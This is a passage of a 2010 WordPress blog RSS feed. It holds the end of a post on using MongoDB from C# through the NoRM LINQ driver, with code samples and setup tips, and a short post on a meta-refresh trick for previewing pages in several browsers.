	// this is kinda like the foreign key.
	public Guid RssEntryId { get; set; }

	public List Categories { get; set; }
	public string Link { get; set; }
	public string Text { get; set; }
	// ...
}</pre>
<p>Let’s see how we insert an entire set of Blog data into the database. We begin by generating the objects (Blog, RssEntry, etc) in memory and then serializing them via NoRM to MongoDB much as you would in LINQ to SQL. The difference is this will actually generate the collections (analogous to tables) if they don’t already exist and it will define the implicit schema to match our objects:</p>
<pre class="brush: csharp">void SaveBlogToMongoDb(
	string rssUrl, XElement root, RssDataContext ctx)
{
	Blog blog = new Blog();
	blog.RssUrl = rssUrl;
	blog.Name = GetBlogName(root);
	blog.Url = GetBlogUrl(root);

	blog.Entries = ParseEntries(root);
	IEnumerable details
		= GetDetails(blog.Entries, root);

	foreach (RssDetails detail in details)
	{
		ctx.Add(detail);
	}

	ctx.Add(blog);
}</pre>
<p>Here we are using a class called RssDataContext which we wrote manually. It is very similar to what LINQ to SQL and Entity Framework use to do the object-relational mapping. Want to do a query? Do you know LINQ? Well then you’re all set:</p>
<pre class="brush: csharp">var results =
    from b in ctx.Blog
    where b.Name.Contains( "MongoDB" )
    select b;</pre>
<p>How do you add a new entry to an existing blog and update it in the database?</p>
<pre class="brush: csharp">void AddEntry(Blog blog, RssEntry entry)
{
	blog.Entries.Add(entry);
	ctx.Save(blog);
}</pre>
<p>We leverage the fact that the blog.Entries collection is a List and just add to it. Then save will update the record in the DB.</p>
<p>All this works great and is highly performant. But do be careful as not all the LINQ operations are fully implemented yet in NoRM and some (like join) may never be added because MongoDB doesn’t support it.</p>
<p>To get started, download MongoDB the tools and server here:</p>
<p><a href="http://www.mongodb.org" target="_blank">http://www.mongodb.org</a></p>
<p>You unzip the zip file and run the mongod.exe program. Be sure that you have created the C:\data\db folder. It appears at first that you have to run MongoDB in a console window. But you can register it as a Windows Service:</p>
<p><img src="http://www.michaelckennedy.com/Images/BlogPosts/Mogo-services-zoom.png" alt="" /></p>
<p>Here’s some helpful advice on installing MongoDB as a Windows Service (there is<br />
a small bug you have to work around):</p>
<p><a href="http://www.deltasdevelopers.com/post/Running-MongoDB-as-a-Windows-Service.aspx" target="_blank">http://www.deltasdevelopers.com/post/Running-MongoDB-as-a-Windows-Service.aspx</a></p>
<p>There’s also a management console (and I mean &#8220;console&#8221;):</p>
<p><img src="http://www.michaelckennedy.com/Images/BlogPosts/MongoConsole.png" alt="" /></p>
<p>It’s a little different. You’ll get used to it. The means of interaction with the server is through JavaScript rather than T-SQL and the storage format is a binary form of JSON as you can see.</p>
<p>For a project I’m working on I’ve built a Windows Forms UI that lets me manage the database easily by just adding an object data source and doing some drag-drop magic in Visual Studio. Generally I look down upon that sort of development, but for an admin tool it’s just fine.</p>
<h3>Now It’s Your Turn!</h3>
<p>Try it out for yourself. Download MongoDB and the NoRM driver and build some apps. You may also want to check out the source code for my demo app:</p>
<p>Download Sample: <a href="http://www.michaelckennedy.com/Samples/RssMongoSample-Kennedy.zip">RssMongoSample-Kennedy.zip</a></p>
<p>Got feedback? Write a comment or contact me on Twitter where I&#8217;m <a href="http://twitter.com/mkennedy" target="_blank">@mkennedy</a> or find me in any of <a href="http://www.michaelckennedy.net/contact.aspx" target="_blank">these other ways</a>.</p>
<h3>Recommended Reading:</h3>
<p>Here are some other blogs on this subject.</p>
<table style="float:none;">
<tbody>
<tr>
<td>
<ul>
<li><a href="http://andrewtheken.com/2010/02/26/no-sql-no-problems-or-mo-sql-mo-problems/" target="_blank">No SQL, No Problems (or: Mo’ SQL, Mo’ Problems)</a></li>
<li><a href="http://blog.wekeroad.com/2010/03/04/using-mongo-with-linq" target="_blank">Using Mongo With LINQ</a></li>
<li><a href="http://blog.wekeroad.com/2009/12/31/hello-from-2020" target="_blank">Hello from 2020</a></li>
<li><a href="http://blog.mongodb.org/" target="_blank">The MongoDB NoSQL Database Blog</a></li>
</ul>
</td>
</tr>
</tbody>
</table>
</div>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/nosql/'>NoSQL</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/nosql/'>NoSQL</a>, <a href='http://blog.michaelckennedy.net/tag/open-source/'>Open Source</a>, <a href='http://blog.michaelckennedy.net/tag/visual-studio/'>Visual Studio</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/76/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/76/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=76&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2010/04/22/the-nosql-movement-linq-and-mongodb-oh-my/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>

		<media:content url="http://www.michaelckennedy.com/Images/BlogPosts/Sql-in-the-trash.png" medium="image" />

		<media:content url="http://www.michaelckennedy.com/Images/BlogPosts/Sql-vs-Mongo-Inserts.png" medium="image" />

		<media:content url="http://www.michaelckennedy.com/Images/BlogPosts/Mogo-services-zoom.png" medium="image" />

		<media:content url="http://www.michaelckennedy.com/Images/BlogPosts/MongoConsole.png" medium="image" />
	</item>
		<item>
		<title>Handy Web Development Technique</title>
		<link>http://blog.michaelckennedy.net/2010/02/25/handy-web-development-technique/</link>
		<comments>http://blog.michaelckennedy.net/2010/02/25/handy-web-development-technique/#comments</comments>
		<pubDate>Thu, 25 Feb 2010 22:51:02 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=90</guid>
		<description><![CDATA[I&#8217;m working on a fantastic website that I hope will have significant impact when it&#8217;s ready. I&#8217;m planning on launching in roughly one month. I came across what I think is an awesome technique for seeing how your web page &#8230; <a href="http://blog.michaelckennedy.net/2010/02/25/handy-web-development-technique/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=90&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>I&#8217;m working on a fantastic website that I hope will have significant impact when it&#8217;s ready. I&#8217;m planning on launching in roughly one month.</p>
<p>I came across what I think is an awesome technique for seeing how your web page will look as you edit it. This is WAY beyond WYSIWIG:</p>
<ol>
<li>Load the page you&#8217;re working on in <strong>ALL</strong> the browser you care about. I&#8217;m using Chrome 4, FireFox 3.6, and IE 8.</li>
<li>If you have the monitor space, cascade these browsers side-by-side.</li>
<li>Add a meta-refresh tag to the header of that HTML file you&#8217;re working on (or which consumes the CSS you&#8217;re building)</li>
<li>Now here&#8217;s the sweet part:Edit the page in Visual Studio, notepad, whatever. When you press save all  Browsers reload their view in a few seconds!</li>
<li>Now you get <strong>real</strong> WYSIWIG on <strong>real </strong>browsers.</li>
</ol>
<p>That&#8217;s it. The technique is totally low tech and would have worked for years. But I found it really helpful. Hope you do too.</p>
<p>Be sure to keep watching here. I promise a cool site will be announced soon!</p>
<p>Cheers!<br />
Michael<br />
<a href="http://twitter.com/mkennedy">@mkennedy</a></p>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/uncategorized/'>Uncategorized</a>  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/90/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/90/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=90&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2010/02/25/handy-web-development-technique/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>
	</item>
	</channel>
</rss>
